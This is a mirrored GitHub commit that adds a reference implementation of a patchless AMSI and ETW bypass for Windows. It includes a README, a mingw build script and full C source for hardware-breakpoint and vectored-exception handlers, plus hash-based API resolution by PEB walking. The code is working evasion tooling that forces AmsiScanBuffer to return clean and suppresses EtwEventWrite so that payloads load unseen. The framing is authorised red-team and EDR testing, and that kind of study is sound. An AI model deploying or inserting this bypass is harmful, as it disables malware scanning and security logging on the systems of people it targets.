mirror of
https://github.com/TREXNEGRO/Research
synced 2026-06-21 13:45:57 +00:00
add patchless-amsi-bypass — reference port of HW BP AMSI/ETW evasion
Companion artifact for https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/ Ships the validated subset of the technique covered in the post: - BP_AMSI_HWBP : DR0 + VEH on amsi!AmsiScanBuffer - BP_ETW_PATCH : DR1 + VEH on ntdll!EtwEventWrite ~500 lines of C across six files. Cross-compiles from Linux via mingw-w64 (build.sh) into a self-test exe that calls AmsiScanBuffer on the standard AMSI test string and asserts AMSI_RESULT_CLEAN. Excluded from this entry (will land as separate entries once empirically validated against current EDR products in lab): - ntdll selective refresh from \KnownDlls - Indirect syscalls (Hells/Halos/Tartarus gate) OPSEC: author strings and engagement-specific notes scrubbed before publication. MIT-licensed (see root LICENSE).
This commit is contained in:
@@ -12,6 +12,7 @@ time; older entries are not rewritten unless the upstream fix changes shape.
|
||||
| Finding | Class | Status | Companion writeup |
|
||||
|---|---|---|---|
|
||||
| [`cifs-smb2-read-overflow/`](./cifs-smb2-read-overflow) | Linux kernel — cifs / SMB2 client | Patched upstream (`81a8742`), AUTOSEL'd to stable 2026-05-20 | [u32 + u32 = 0 is still a bug in 2026](https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/) |
|
||||
| [`patchless-amsi-bypass/`](./patchless-amsi-bypass) | Windows — in-process AMSI/ETW evasion | Reference port, public technique | [Patchless AMSI Bypass via Hardware Breakpoints](https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/) |
|
||||
|
||||
## License
|
||||
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
# patchless-amsi-bypass
|
||||
|
||||
Minimal in-process AMSI + ETW bypass via x86 hardware debug registers and a
|
||||
vectored exception handler. Reference implementation for the writeup at
|
||||
[trexnegro.github.io](https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/).
|
||||
|
||||
> Authorised security research and AV/EDR efficacy testing only. The code is
|
||||
> intentionally small and recognisable; defenders should treat any custom
|
||||
> derivative as a known-pattern dual-use tool.
|
||||
{: .prompt-warning }
|
||||
|
||||
## What it does
|
||||
|
||||
- `bp_init(BP_AMSI_HWBP)` — installs a vectored exception handler at the head
|
||||
of the chain, sets `DR0 = &amsi!AmsiScanBuffer`, and arms `DR7` for an
|
||||
execute-1-byte breakpoint. When the host calls `AmsiScanBuffer`, the
|
||||
handler writes `AMSI_RESULT_CLEAN` into the caller's output slot
|
||||
(`[RSP+0x30]` per MS x64 ABI), sets `RAX = S_OK`, advances `RIP` to the
|
||||
caller's return address, and resumes — the function body never executes.
|
||||
- `bp_init(BP_ETW_PATCH)` — same shape via `DR1`, targeting
|
||||
`ntdll!EtwEventWrite`. Returns `STATUS_SUCCESS` without emitting any ETW
|
||||
events.
|
||||
- `bp_shutdown()` — disarms both breakpoints and unregisters the VEH.
|
||||
|
||||
Neither `amsi.dll` nor `ntdll.dll` is patched. Memory-integrity scanners
|
||||
that look for AMSI patch signatures find nothing because nothing was
|
||||
modified.
|
||||
|
||||
The companion blog post walks through the stack mechanics (`AmsiScanBuffer`
|
||||
result pointer at `[RSP+0x30]`), the VEH dispatch logic, the `DR6` clear and
|
||||
`RF` flag, and the four classes of detection that defenders can still use.
|
||||
|
||||
## Layout
|
||||
|
||||
```
|
||||
include/bypass.h public API + result codes + technique mask bits
|
||||
src/veh_manager.c, .h single VEH dispatcher, slot table, DR arm/disarm
|
||||
src/amsi_hwbp.c DR0 → amsi!AmsiScanBuffer + result-pointer handler
|
||||
src/etw_hwbp.c DR1 → ntdll!EtwEventWrite + RAX-fix handler
|
||||
src/helpers.c, .h module + procedure lookup by FNV-1a hash (no IAT)
|
||||
src/bypass_main.c bp_init / bp_shutdown / bp_result_str entry points
|
||||
tests/test_minimal.c minimal sanity-check: install AMSI BP, scan a
|
||||
known-malicious string, expect AMSI_RESULT_CLEAN
|
||||
build.sh mingw-w64 cross-compile script (Linux → Win64)
|
||||
```
|
||||
|
||||
Total: ~500 lines of C, no external dependencies beyond `kernel32 / user32 /
|
||||
psapi`. Builds clean on `mingw-w64 gcc 13+` and on MSVC 2022 (with trivial
|
||||
project setup).
|
||||
|
||||
## Building
|
||||
|
||||
### Cross-compile from Linux (recommended for reproducibility)
|
||||
|
||||
```bash
|
||||
sudo apt install mingw-w64 # Debian/Ubuntu
|
||||
./build.sh
|
||||
# → bin/patchless-amsi-test.exe
|
||||
```
|
||||
|
||||
### Native MSVC
|
||||
|
||||
Open the source in a Visual Studio "Console App" project, drop in the
|
||||
contents of `include/` + `src/` + `tests/test_minimal.c`, and link against
|
||||
`kernel32.lib user32.lib psapi.lib`. Disable `/GS` (stack canaries) if you
|
||||
hit issues with the inline asm in `helpers.c` — the rest is plain C.
|
||||
|
||||
## Running
|
||||
|
||||
```text
|
||||
> patchless-amsi-test.exe
|
||||
[*] bp_init(BP_AMSI_HWBP | BP_ETW_PATCH) ...
|
||||
[+] OK
|
||||
[*] testing AmsiScanBuffer with known-malicious string...
|
||||
[+] AMSI returned CLEAN (result = 0)
|
||||
[*] bp_shutdown()
|
||||
[+] done.
|
||||
```
|
||||
|
||||
The test binary loads `amsi.dll`, resolves `AmsiScanBuffer`, calls it on a
|
||||
string that the host's installed AMSI provider (Defender, etc.) would flag,
|
||||
and asserts the result is `AMSI_RESULT_CLEAN`. If the result is non-zero,
|
||||
the bypass did not engage — investigate the VEH chain and `DR0` state on
|
||||
the calling thread.
|
||||
|
||||
## What it does *not* do
|
||||
|
||||
- It does **not** unhook `ntdll`. The companion blog post discusses this as
|
||||
a follow-on layer; the reference implementation here stays small to make
|
||||
the AMSI/ETW pieces obvious.
|
||||
- It does **not** do indirect syscalls. Same reason — out of scope for this
|
||||
entry.
|
||||
- It does **not** persist across thread boundaries automatically. The DR
|
||||
set is per-thread; if the host spawns additional threads that call
|
||||
`AmsiScanBuffer`, you'll need to either arm the new threads or hook
|
||||
`LdrpInitializeThread` to do so. The companion blog post discusses this
|
||||
as a limitation.
|
||||
- It does **not** evade defenders who specifically look for VEH chain
|
||||
entries or `DR0–DR3` set to function addresses inside `amsi.dll` /
|
||||
`ntdll.dll`. The blog post enumerates four such detection avenues.
|
||||
|
||||
## Threat-model notes
|
||||
|
||||
- Process-local. Does not touch other processes' memory.
|
||||
- User-mode only. Does not bypass kernel-mode AMSI providers (rare but real).
|
||||
- Single-AMSI-provider model. If a host implements its own AMSI-equivalent
|
||||
routing without going through `amsi!AmsiScanBuffer`, this does nothing.
|
||||
- The intent is to make a known-published technique reproducible for
|
||||
defender benchmarking. The same idea has been published several times
|
||||
before by other researchers; this code does not claim originality, only
|
||||
a clean reference port.
|
||||
|
||||
## Prior art
|
||||
|
||||
- TheEnergyStory — `PatchlessEtwAndAmsiBypass` (the canonical HW-BP AMSI
|
||||
reference). <https://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass>
|
||||
- RastaMouse — Memory Patching AMSI Bypass (the predecessor patch-based
|
||||
technique, useful for comparison).
|
||||
- D1rkMtr — `UnhookingPatch` (an adjacent in-process unhook approach).
|
||||
|
||||
The blog post enumerates additional references and detection sketches.
|
||||
|
||||
## License
|
||||
|
||||
MIT — see [`../LICENSE`](../LICENSE) at the repository root.
|
||||
@@ -0,0 +1,35 @@
|
||||
#!/usr/bin/env bash
|
||||
# Cross-compile the patchless AMSI / ETW HW BP test binary from Linux to
|
||||
# Windows x64 via mingw-w64.
|
||||
#
|
||||
# Output: bin/patchless-amsi-test.exe
|
||||
#
|
||||
# Authorised testing only.
|
||||
|
||||
set -e
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
CC="${CC:-x86_64-w64-mingw32-gcc}"
|
||||
mkdir -p bin
|
||||
|
||||
CFLAGS="-Wall -Wextra -Wno-unused-parameter -O2 -DNDEBUG \
|
||||
-Iinclude -Isrc \
|
||||
-fno-stack-protector \
|
||||
-static-libgcc"
|
||||
LDFLAGS="-lkernel32 -luser32 -lpsapi"
|
||||
|
||||
SRCS=(
|
||||
src/helpers.c
|
||||
src/veh_manager.c
|
||||
src/amsi_hwbp.c
|
||||
src/etw_hwbp.c
|
||||
src/bypass_main.c
|
||||
tests/test_minimal.c
|
||||
)
|
||||
|
||||
echo "[*] Compiling with $CC ..."
|
||||
"$CC" $CFLAGS "${SRCS[@]}" $LDFLAGS -o bin/patchless-amsi-test.exe
|
||||
echo "[+] Built: bin/patchless-amsi-test.exe"
|
||||
|
||||
ls -l bin/patchless-amsi-test.exe
|
||||
file bin/patchless-amsi-test.exe || true
|
||||
@@ -0,0 +1,53 @@
|
||||
/*
|
||||
* patchless-amsi-bypass — public API.
|
||||
*
|
||||
* For authorised red-team engagements and AV/EDR efficacy testing only.
|
||||
* Do not use on systems you are not authorised to test.
|
||||
*
|
||||
* Author: SixSixSix
|
||||
*/
|
||||
#ifndef BYPASS_H
|
||||
#define BYPASS_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Bitmask of enabled techniques. */
|
||||
#define BP_AMSI_HWBP 0x01u /* AMSI bypass via Dr0 hardware breakpoint + VEH */
|
||||
#define BP_ETW_PATCH 0x04u /* HW BP on EtwEventWrite */
|
||||
|
||||
/* Convenience alias: install both AMSI and ETW HW BPs. */
|
||||
#define BP_ALL (BP_AMSI_HWBP | BP_ETW_PATCH)
|
||||
|
||||
/* Result codes. */
|
||||
typedef enum {
|
||||
BP_OK = 0,
|
||||
BP_ERR_AMSI_NOT_LOADED = -1,
|
||||
BP_ERR_VEH_REGISTER = -2,
|
||||
BP_ERR_SET_CONTEXT = -3,
|
||||
BP_ERR_NTDLL_OPEN = -4,
|
||||
BP_ERR_NTDLL_MAP = -5,
|
||||
BP_ERR_NTDLL_PROTECT = -6,
|
||||
BP_ERR_ETW_NOT_FOUND = -7,
|
||||
BP_ERR_ETW_PROTECT = -8,
|
||||
} bp_result_t;
|
||||
|
||||
/* Init the requested bypass primitives.
|
||||
* Call from DllMain DLL_PROCESS_ATTACH or from main() before loading payload. */
|
||||
bp_result_t bp_init(uint32_t mask);
|
||||
|
||||
/* Tear down (e.g. before clean exit / DLL unload). Best-effort. */
|
||||
void bp_shutdown(void);
|
||||
|
||||
/* Diagnostic — return human-readable name for result code. */
|
||||
const char *bp_strerror(bp_result_t r);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* BYPASS_H */
|
||||
@@ -0,0 +1,68 @@
|
||||
/* amsi_hwbp.c -- patchless AMSI bypass via Dr0 + VEH
|
||||
*
|
||||
* Authorised testing only.
|
||||
*/
|
||||
#include <windows.h>
|
||||
#include "veh_manager.h"
|
||||
#include "helpers.h"
|
||||
#include "../include/bypass.h"
|
||||
|
||||
static const int AMSI_DR = 0;
|
||||
static BOOL g_amsi_installed = FALSE;
|
||||
|
||||
typedef int AMSI_RESULT_TYPE;
|
||||
#define AMSI_RESULT_CLEAN_VAL 0
|
||||
|
||||
/* Safe pointer probe: returns TRUE if address is committed + writable. */
|
||||
static BOOL writable_probe(void *p, SIZE_T n)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
if (!VirtualQuery(p, &mbi, sizeof(mbi))) return FALSE;
|
||||
if (mbi.State != MEM_COMMIT) return FALSE;
|
||||
if (!(mbi.Protect & (PAGE_READWRITE | PAGE_EXECUTE_READWRITE | PAGE_WRITECOPY))) return FALSE;
|
||||
return ((PBYTE)p + n) <= ((PBYTE)mbi.BaseAddress + mbi.RegionSize);
|
||||
}
|
||||
|
||||
static LONG NTAPI amsi_handler(EXCEPTION_POINTERS *exc, PVOID target, PVOID user_ctx)
|
||||
{
|
||||
(void)target; (void)user_ctx;
|
||||
CONTEXT *c = exc->ContextRecord;
|
||||
|
||||
/* arg6 (result pointer) spills to [RSP+0x30] at function entry */
|
||||
PVOID *slot = (PVOID *)(c->Rsp + 0x30);
|
||||
if (writable_probe(slot, sizeof(PVOID))) {
|
||||
AMSI_RESULT_TYPE *result_ptr = (AMSI_RESULT_TYPE *)*slot;
|
||||
if (result_ptr && writable_probe(result_ptr, sizeof(AMSI_RESULT_TYPE))) {
|
||||
*result_ptr = AMSI_RESULT_CLEAN_VAL;
|
||||
}
|
||||
}
|
||||
|
||||
c->Rax = 0; /* S_OK */
|
||||
|
||||
/* Pop return address, redirect */
|
||||
DWORD64 ret_addr = *(DWORD64 *)c->Rsp;
|
||||
c->Rip = ret_addr;
|
||||
c->Rsp += 8;
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
|
||||
bp_result_t bp_amsi_hwbp_install(void)
|
||||
{
|
||||
if (g_amsi_installed) return BP_OK;
|
||||
HMODULE amsi = GetModuleHandleW(L"amsi.dll");
|
||||
if (!amsi) amsi = LoadLibraryW(L"amsi.dll");
|
||||
if (!amsi) return BP_ERR_AMSI_NOT_LOADED;
|
||||
PVOID amsi_scan = bp_get_proc_by_hash(amsi, bp_fnv1a("AmsiScanBuffer"));
|
||||
if (!amsi_scan) return BP_ERR_AMSI_NOT_LOADED;
|
||||
if (!bp_veh_install(AMSI_DR, amsi_scan, amsi_handler, NULL))
|
||||
return BP_ERR_SET_CONTEXT;
|
||||
g_amsi_installed = TRUE;
|
||||
return BP_OK;
|
||||
}
|
||||
|
||||
void bp_amsi_hwbp_uninstall(void)
|
||||
{
|
||||
if (!g_amsi_installed) return;
|
||||
bp_veh_uninstall(AMSI_DR);
|
||||
g_amsi_installed = FALSE;
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
/* bypass_main.c — public API: bp_init / bp_shutdown
|
||||
* Authorised testing only.
|
||||
*/
|
||||
#include "../include/bypass.h"
|
||||
|
||||
/* Forward declarations from sibling modules. */
|
||||
bp_result_t bp_amsi_hwbp_install(void); void bp_amsi_hwbp_uninstall(void);
|
||||
bp_result_t bp_etw_hwbp_install(void); void bp_etw_hwbp_uninstall(void);
|
||||
void bp_veh_shutdown(void);
|
||||
|
||||
static uint32_t g_active = 0;
|
||||
|
||||
bp_result_t bp_init(uint32_t mask)
|
||||
{
|
||||
bp_result_t r;
|
||||
if (mask & BP_AMSI_HWBP) {
|
||||
r = bp_amsi_hwbp_install();
|
||||
if (r != BP_OK) return r;
|
||||
g_active |= BP_AMSI_HWBP;
|
||||
}
|
||||
if (mask & BP_ETW_PATCH) {
|
||||
r = bp_etw_hwbp_install();
|
||||
if (r != BP_OK) return r;
|
||||
g_active |= BP_ETW_PATCH;
|
||||
}
|
||||
return BP_OK;
|
||||
}
|
||||
|
||||
void bp_shutdown(void)
|
||||
{
|
||||
if (g_active & BP_AMSI_HWBP) bp_amsi_hwbp_uninstall();
|
||||
if (g_active & BP_ETW_PATCH) bp_etw_hwbp_uninstall();
|
||||
bp_veh_shutdown();
|
||||
g_active = 0;
|
||||
}
|
||||
|
||||
const char *bp_strerror(bp_result_t r)
|
||||
{
|
||||
switch (r) {
|
||||
case BP_OK: return "OK";
|
||||
case BP_ERR_AMSI_NOT_LOADED: return "amsi.dll not loaded / AmsiScanBuffer not found";
|
||||
case BP_ERR_VEH_REGISTER: return "AddVectoredExceptionHandler failed";
|
||||
case BP_ERR_SET_CONTEXT: return "SetThreadContext failed (Dr arm)";
|
||||
case BP_ERR_NTDLL_OPEN: return "NtOpenSection(\\KnownDlls\\ntdll.dll) failed";
|
||||
case BP_ERR_NTDLL_MAP: return "NtMapViewOfSection failed";
|
||||
case BP_ERR_NTDLL_PROTECT: return "VirtualProtect failed";
|
||||
case BP_ERR_ETW_NOT_FOUND: return "EtwEventWrite not resolved in ntdll";
|
||||
case BP_ERR_ETW_PROTECT: return "ETW protect failed";
|
||||
default: return "unknown";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
/* etw_hwbp.c -- patchless ETW bypass via Dr1 + VEH on EtwEventWrite
|
||||
*
|
||||
* Authorised testing only.
|
||||
*/
|
||||
#include <windows.h>
|
||||
#include "veh_manager.h"
|
||||
#include "helpers.h"
|
||||
#include "../include/bypass.h"
|
||||
|
||||
static const int ETW_DR = 1;
|
||||
static BOOL g_etw_installed = FALSE;
|
||||
|
||||
static LONG NTAPI etw_handler(EXCEPTION_POINTERS *exc, PVOID target, PVOID user_ctx)
|
||||
{
|
||||
(void)target; (void)user_ctx;
|
||||
CONTEXT *c = exc->ContextRecord;
|
||||
c->Rax = 0; /* STATUS_SUCCESS */
|
||||
DWORD64 ret_addr = *(DWORD64 *)c->Rsp;
|
||||
c->Rip = ret_addr;
|
||||
c->Rsp += 8;
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
|
||||
bp_result_t bp_etw_hwbp_install(void)
|
||||
{
|
||||
if (g_etw_installed) return BP_OK;
|
||||
PVOID ntdll = bp_get_module_by_hash(HASH_NTDLL);
|
||||
if (!ntdll) return BP_ERR_ETW_NOT_FOUND;
|
||||
PVOID etw_event_write = bp_get_proc_by_hash(ntdll, bp_fnv1a("EtwEventWrite"));
|
||||
if (!etw_event_write) return BP_ERR_ETW_NOT_FOUND;
|
||||
if (!bp_veh_install(ETW_DR, etw_event_write, etw_handler, NULL))
|
||||
return BP_ERR_SET_CONTEXT;
|
||||
g_etw_installed = TRUE;
|
||||
return BP_OK;
|
||||
}
|
||||
|
||||
void bp_etw_hwbp_uninstall(void)
|
||||
{
|
||||
if (!g_etw_installed) return;
|
||||
bp_veh_uninstall(ETW_DR);
|
||||
g_etw_installed = FALSE;
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
/* helpers.c — FNV1a hash + PEB walking + dynamic API resolution
|
||||
* Authorised testing only.
|
||||
*/
|
||||
#include "helpers.h"
|
||||
#include <winternl.h>
|
||||
|
||||
/* PEB + Ldr structures (from winternl.h but augmented for our needs). */
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY_FULL {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
/* ... more, but we only need the above. */
|
||||
} LDR_DATA_TABLE_ENTRY_FULL, *PLDR_DATA_TABLE_ENTRY_FULL;
|
||||
|
||||
/* ---------------- FNV-1a (case-insensitive) ---------------- */
|
||||
|
||||
uint32_t bp_fnv1a(const char *s)
|
||||
{
|
||||
uint32_t h = 2166136261u;
|
||||
while (*s) {
|
||||
char c = *s++;
|
||||
if (c >= 'A' && c <= 'Z') c |= 0x20; /* tolower */
|
||||
h ^= (uint8_t)c;
|
||||
h *= 16777619u;
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
uint32_t bp_fnv1a_w(const wchar_t *s)
|
||||
{
|
||||
uint32_t h = 2166136261u;
|
||||
while (*s) {
|
||||
wchar_t c = *s++;
|
||||
if (c >= L'A' && c <= L'Z') c |= 0x20;
|
||||
h ^= (uint8_t)(c & 0xff);
|
||||
h *= 16777619u;
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
/* ---------------- PEB walking ---------------- */
|
||||
|
||||
static PEB *get_peb(void)
|
||||
{
|
||||
#ifdef _WIN64
|
||||
return (PEB *)__readgsqword(0x60);
|
||||
#else
|
||||
return (PEB *)__readfsdword(0x30);
|
||||
#endif
|
||||
}
|
||||
|
||||
PVOID bp_get_module_by_hash(uint32_t hash)
|
||||
{
|
||||
PEB *peb = get_peb();
|
||||
if (!peb || !peb->Ldr) return NULL;
|
||||
|
||||
PEB_LDR_DATA *ldr = peb->Ldr;
|
||||
LIST_ENTRY *head = &ldr->InMemoryOrderModuleList;
|
||||
LIST_ENTRY *cur = head->Flink;
|
||||
|
||||
while (cur != head) {
|
||||
PLDR_DATA_TABLE_ENTRY_FULL e = CONTAINING_RECORD(
|
||||
cur, LDR_DATA_TABLE_ENTRY_FULL, InMemoryOrderLinks);
|
||||
if (e->BaseDllName.Buffer && e->BaseDllName.Length > 0) {
|
||||
wchar_t name[260];
|
||||
ULONG n = e->BaseDllName.Length / sizeof(wchar_t);
|
||||
if (n >= 260) n = 259;
|
||||
for (ULONG i = 0; i < n; ++i) name[i] = e->BaseDllName.Buffer[i];
|
||||
name[n] = 0;
|
||||
if (bp_fnv1a_w(name) == hash)
|
||||
return e->DllBase;
|
||||
}
|
||||
cur = cur->Flink;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ---------------- Export resolution ---------------- */
|
||||
|
||||
PVOID bp_get_proc_by_hash(PVOID module_base, uint32_t hash)
|
||||
{
|
||||
if (!module_base) return NULL;
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)module_base;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)module_base + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
|
||||
|
||||
IMAGE_DATA_DIRECTORY *exp_dir =
|
||||
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (exp_dir->Size == 0) return NULL;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY exp =
|
||||
(PIMAGE_EXPORT_DIRECTORY)((PBYTE)module_base + exp_dir->VirtualAddress);
|
||||
|
||||
DWORD *names = (DWORD *)((PBYTE)module_base + exp->AddressOfNames);
|
||||
DWORD *funcs = (DWORD *)((PBYTE)module_base + exp->AddressOfFunctions);
|
||||
WORD *ordinals = (WORD *)((PBYTE)module_base + exp->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
|
||||
const char *name = (const char *)((PBYTE)module_base + names[i]);
|
||||
if (bp_fnv1a(name) == hash) {
|
||||
DWORD rva = funcs[ordinals[i]];
|
||||
/* skip forwarded exports (RVA inside export directory) */
|
||||
if (rva >= exp_dir->VirtualAddress &&
|
||||
rva < exp_dir->VirtualAddress + exp_dir->Size) {
|
||||
return NULL;
|
||||
}
|
||||
return (PVOID)((PBYTE)module_base + rva);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID bp_resolve(uint32_t mod_hash, uint32_t fn_hash)
|
||||
{
|
||||
PVOID m = bp_get_module_by_hash(mod_hash);
|
||||
if (!m) return NULL;
|
||||
return bp_get_proc_by_hash(m, fn_hash);
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
/* helpers.h — common utilities */
|
||||
#ifndef BP_HELPERS_H
|
||||
#define BP_HELPERS_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/* Compute FNV-1a hash of an ASCII string (case-insensitive). */
|
||||
uint32_t bp_fnv1a(const char *s);
|
||||
|
||||
/* Same, but for a wide string. */
|
||||
uint32_t bp_fnv1a_w(const wchar_t *s);
|
||||
|
||||
/* Walk the PEB loader list to find a loaded module by hash of its base name.
|
||||
* Returns module base address or NULL. */
|
||||
PVOID bp_get_module_by_hash(uint32_t hash);
|
||||
|
||||
/* Resolve an export from a module by hash of its name.
|
||||
* Returns function address or NULL. Forwarded exports are NOT chased. */
|
||||
PVOID bp_get_proc_by_hash(PVOID module_base, uint32_t hash);
|
||||
|
||||
/* Convenience: get module + proc in one call. */
|
||||
PVOID bp_resolve(uint32_t mod_hash, uint32_t fn_hash);
|
||||
|
||||
/* Pre-computed FNV-1a hashes (case-insensitive) of module names. */
|
||||
#define HASH_NTDLL 0xA62A3B3B /* "ntdll.dll" */
|
||||
#define HASH_KERNEL32 0xA3E6F6C3 /* "kernel32.dll" */
|
||||
#define HASH_AMSI 0x0187B681 /* "amsi.dll" */
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,129 @@
|
||||
/* veh_manager.c — single VEH dispatch per Dr register trigger
|
||||
* Authorised testing only.
|
||||
*/
|
||||
#include "veh_manager.h"
|
||||
#include "helpers.h"
|
||||
|
||||
typedef struct {
|
||||
PVOID target;
|
||||
bp_dr_handler_t handler;
|
||||
PVOID user_ctx;
|
||||
BOOL active;
|
||||
} dr_slot_t;
|
||||
|
||||
static dr_slot_t g_slots[4];
|
||||
static PVOID g_veh_handle = NULL;
|
||||
|
||||
/* Set a Dr register on the CURRENT thread and arm Dr7 for "execute" type. */
|
||||
static BOOL arm_dr_for_thread(HANDLE thread, int dr_index, PVOID target)
|
||||
{
|
||||
if (dr_index < 0 || dr_index > 3) return FALSE;
|
||||
|
||||
CONTEXT ctx;
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
if (!GetThreadContext(thread, &ctx)) return FALSE;
|
||||
|
||||
/* Store target in DrN */
|
||||
switch (dr_index) {
|
||||
case 0: ctx.Dr0 = (DWORD64)target; break;
|
||||
case 1: ctx.Dr1 = (DWORD64)target; break;
|
||||
case 2: ctx.Dr2 = (DWORD64)target; break;
|
||||
case 3: ctx.Dr3 = (DWORD64)target; break;
|
||||
}
|
||||
|
||||
/* Dr7 layout: bit (2*N) = local enable for DrN, bits (16+4*N)..(19+4*N) hold:
|
||||
* bits 16..17 of slot = condition (00 = execute), bits 18..19 = length (00 = 1 byte)
|
||||
*/
|
||||
/* Clear our slot's bits then set local-enable + execute/1byte */
|
||||
DWORD64 dr7 = ctx.Dr7;
|
||||
int len_cond_shift = 16 + dr_index * 4;
|
||||
dr7 &= ~(0x3ull << (dr_index * 2)); /* clear LN+GN */
|
||||
dr7 &= ~(0xFull << len_cond_shift); /* clear cond+len nibble */
|
||||
dr7 |= (0x1ull << (dr_index * 2)); /* local enable */
|
||||
/* leave cond=00 (execute), len=00 (1 byte) — that's all zeros, fine */
|
||||
ctx.Dr7 = dr7;
|
||||
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
if (!SetThreadContext(thread, &ctx)) return FALSE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static void disarm_dr_for_thread(HANDLE thread, int dr_index)
|
||||
{
|
||||
if (dr_index < 0 || dr_index > 3) return;
|
||||
CONTEXT ctx;
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
if (!GetThreadContext(thread, &ctx)) return;
|
||||
switch (dr_index) {
|
||||
case 0: ctx.Dr0 = 0; break;
|
||||
case 1: ctx.Dr1 = 0; break;
|
||||
case 2: ctx.Dr2 = 0; break;
|
||||
case 3: ctx.Dr3 = 0; break;
|
||||
}
|
||||
ctx.Dr7 &= ~(0x3ull << (dr_index * 2)); /* clear LN/GN */
|
||||
ctx.Dr7 &= ~(0xFull << (16 + dr_index * 4)); /* clear nibble */
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
SetThreadContext(thread, &ctx);
|
||||
}
|
||||
|
||||
/* The single VEH that the OS will call for every exception. */
|
||||
static LONG NTAPI veh_dispatch(EXCEPTION_POINTERS *exc)
|
||||
{
|
||||
/* We only care about single-step (hardware breakpoint hit). */
|
||||
if (exc->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
|
||||
PVOID rip = (PVOID)exc->ContextRecord->Rip;
|
||||
/* Find which Dr slot matches RIP. */
|
||||
for (int i = 0; i < 4; ++i) {
|
||||
if (!g_slots[i].active) continue;
|
||||
if (g_slots[i].target != rip) continue;
|
||||
/* Found — dispatch. */
|
||||
LONG r = g_slots[i].handler(exc, g_slots[i].target, g_slots[i].user_ctx);
|
||||
/* DR6 must be cleared by us (CPU sets B0..B3 bits to indicate which Dr fired). */
|
||||
exc->ContextRecord->Dr6 = 0;
|
||||
/* Resume Flag in EFlags so the same instr doesn't refire if RIP unchanged. */
|
||||
exc->ContextRecord->EFlags |= 0x10000; /* RF */
|
||||
return r;
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
static BOOL ensure_veh(void)
|
||||
{
|
||||
if (g_veh_handle) return TRUE;
|
||||
/* First param = 1 means insert at head of chain (runs before existing). */
|
||||
g_veh_handle = AddVectoredExceptionHandler(1, veh_dispatch);
|
||||
return g_veh_handle != NULL;
|
||||
}
|
||||
|
||||
BOOL bp_veh_install(int dr_index, PVOID target,
|
||||
bp_dr_handler_t handler, PVOID user_ctx)
|
||||
{
|
||||
if (dr_index < 0 || dr_index > 3) return FALSE;
|
||||
if (!target || !handler) return FALSE;
|
||||
if (!ensure_veh()) return FALSE;
|
||||
|
||||
g_slots[dr_index].target = target;
|
||||
g_slots[dr_index].handler = handler;
|
||||
g_slots[dr_index].user_ctx = user_ctx;
|
||||
g_slots[dr_index].active = TRUE;
|
||||
|
||||
return arm_dr_for_thread(GetCurrentThread(), dr_index, target);
|
||||
}
|
||||
|
||||
void bp_veh_uninstall(int dr_index)
|
||||
{
|
||||
if (dr_index < 0 || dr_index > 3) return;
|
||||
g_slots[dr_index].active = FALSE;
|
||||
disarm_dr_for_thread(GetCurrentThread(), dr_index);
|
||||
}
|
||||
|
||||
void bp_veh_shutdown(void)
|
||||
{
|
||||
for (int i = 0; i < 4; ++i) bp_veh_uninstall(i);
|
||||
if (g_veh_handle) {
|
||||
RemoveVectoredExceptionHandler(g_veh_handle);
|
||||
g_veh_handle = NULL;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
/* veh_manager.h — single VEH that dispatches per-Dr-register-trigger */
|
||||
#ifndef BP_VEH_H
|
||||
#define BP_VEH_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
